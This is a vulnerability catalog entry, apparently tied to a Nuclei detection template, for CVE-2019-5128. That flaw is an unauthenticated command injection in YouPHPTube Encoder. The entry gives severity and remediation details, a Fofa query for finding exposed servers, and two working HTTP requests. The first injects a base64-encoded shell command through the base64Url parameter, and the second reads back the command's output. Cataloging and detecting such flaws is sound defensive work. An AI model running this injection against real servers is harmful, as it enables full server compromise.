| Title | YouPHPTube Encoder - Arbitrary File Write |
|---|---|
| Author | pussycat0x |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary system commands through command injection, leading to complete server compromise and potential access to all media content. |
| Remediation | Upgrade to YouPHPTube Encoder version 2.4 or later, or apply vendor-provided security patches. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92845 |
| CVE ID | CVE-2019-5128 |
| CWE ID | CWE-78 |
| Fofa Query | icon_hash="-276846707" |
| Tags | cve cve2019 youphptube intrusive encoder vkev vuln |
Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube.The parameter base64Url in /objects/getImageMP4.php is vulnerable to a command injection attack.
GET /objects/getImageMP4.php?base64Url=YGlkID4ga0x3SC50eHRg&format=jpg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/604.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
GET /objects/kLwH.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-5128.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-5128.pcap
N/AN/A